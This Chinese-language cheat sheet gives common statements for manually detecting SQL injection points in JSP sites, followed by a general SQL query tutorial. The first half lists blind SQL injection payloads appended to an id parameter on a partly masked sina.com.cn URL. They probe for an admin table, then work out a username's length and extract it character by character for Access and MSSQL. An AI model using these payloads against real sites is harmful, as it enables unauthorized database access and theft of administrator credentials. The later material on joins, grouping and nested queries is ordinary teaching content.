手工检测jsp站注入点常用语句

手工检测jsp站注入点常用语句
检测可否注入 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=1 (正常页面) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=2 (出错页面) 


检测表段的 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select * from admin) 


检测字段的 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select username from admin) 


检测ID 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where ID=1) 


检测长度的 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1) 


检测长度的 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1) 


检测是否为MSSQL数据库 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select * from sysobjects) 


检测是否为英文 


(ACCESS数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1) 


(MSSQL数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1) 


检测英文的范围 


(ACCESS数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1) 


(MSSQL数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1) 


检测那个字符 


(ACCESS数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1) 


(MSSQL数据库) 


http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1) 


常用函数 


Access：asc(字符)　SQLServer：unicode(字符) 


作用：返回某字符的ASCII码 


Access：chr(数字)　SQLServer：nchar(数字) 


作用：与asc相反，根据ASCII码返回字符 


Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L) 


作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串 


Access：abc(数字)　SQLServer：abc (数字) 


作用：返回数字的绝对值（在猜解汉字的时候会用到） 


Access：A between B And C　SQLServer：A between B And C 


作用：判断A是否界于B与C之间 


and exists(Select top 1 * From 用户 order by id) 


1.在查询结果中显示列名： 


a.用as关键字：select name as ’姓名’ from students order by age 


b.直接表示：select name ’姓名’ from students order by age 


2.精确查找: 


a.用in限定范围：select * from students where native in (’湖南’, ’四川’) 


b.between...and：select * from students where age between 20 and 30 


c.“=”：select * from students where name = ’李山’ 


d.like:select * from students where name like ’李%’ (注意查询条件中有“%”，则说明是部分匹配，而且还有先后信息在里面，即查找以“李”开头的匹配项。所以若查询有“李”的所有对象，应该命令：’%李%’;若是第二个字为李，则应为’_李%’或’_李’或’_李_’。) 


e.[]匹配检查符：select * from courses where cno like ’[AC]%’ (表示或的关系，与"in(...)"类似，而且"[]"可以表示范围，如：select * from courses where cno like ’[A-C]%’) 


3.对于时间类型变量的处理 


a.smalldatetime：直接按照字符串处理的方式进行处理，例如：select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’ 


4.集函数 


a.count()求和，如：select count(*) from students (求学生总人数) 


b.avg(列)求平均，如：select avg(mark) from grades where cno=’B2’ 


c.max(列)和min(列)，求最大与最小 


5.分组group 


常用于统计时，如分组查总数：select gender,count(sno) from students group by gender(查看男女学生各有多少) 


注意：从哪种角度分组就从哪列"group by" 


对于多重分组，只需将分组规则罗列。比如查询各届各专业的男女同学人数 ，那么分组规则有：届别(grade)、专业(mno)和 


性别(gender)，所以有"group by grade, mno, gender" 


select grade, mno, gender, count(*) from students group by grade, mno, gender 


通常group还和having联用，比如查询1门课以上不及格的学生，则按学号(sno)分类有： 


select sno,count(*) from grades where mark<60 group by sno having count(*)>1 


6.UNION联合 


合并查询结果，如： 


Select * FROM students Where name like ‘张%’UNION [ALL] Select * FROM students Where name like ‘李%’ 


7.多表查询 


a.内连接 


select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno 


(注意可以引用别名) 


b.外连接 


b1.左连接 


select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno 


左连接特点：显示全部左边表中的所有项目，即使其中有些项中的数据未填写完全。 


左外连接返回那些存在于左表而右表中却没有的行，再加上内连接的行。 


b2.右连接 


与左连接类似 


b3.全连接 


select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno 


两边表中的内容全部显示 


c.自身连接 


select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno 


采用别名解决问题。 


d.交*连接 


select lastname+firstname from lastname CROSS JOIN firstanme 


相当于做笛卡儿积 


8.嵌套查询 


a.用关键字IN,如查询猪猪山的同乡： 


select * from students where native in (select native from students where name=’猪猪’) 


b.使用关键字EXIST,比如，下面两句是等价的： 


select * from students where sno in (select sno from grades where cno=’B2’) 


select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’) 


9.关于排序order 


a.对于排序order，有两种方法：asc升序和desc降序 


b.对于排序order,可以按照查询条件中的某项排列，而且这项可用数字表示，如： 


select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3 


10.其他 


a.对于有空格的识别名称，应该用"[]"括住。 


b.对于某列中没有数据的特定查询可以用null判断，如select sno,courseno from grades where mark IS NULL 


c.注意区分在嵌套查询中使用的any与all的区别，any相当于逻辑运算“||”而all则相当于逻辑运算“&&” 


d.注意在做否定意义的查询是小心进入陷阱： 


如，没有选修‘B2’课程的学生 ： 


select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’ 


上面的查询方式是错误的，正确方式见下方： 


select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’) 


11.关于有难度多重嵌套查询的解决思想：如，select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))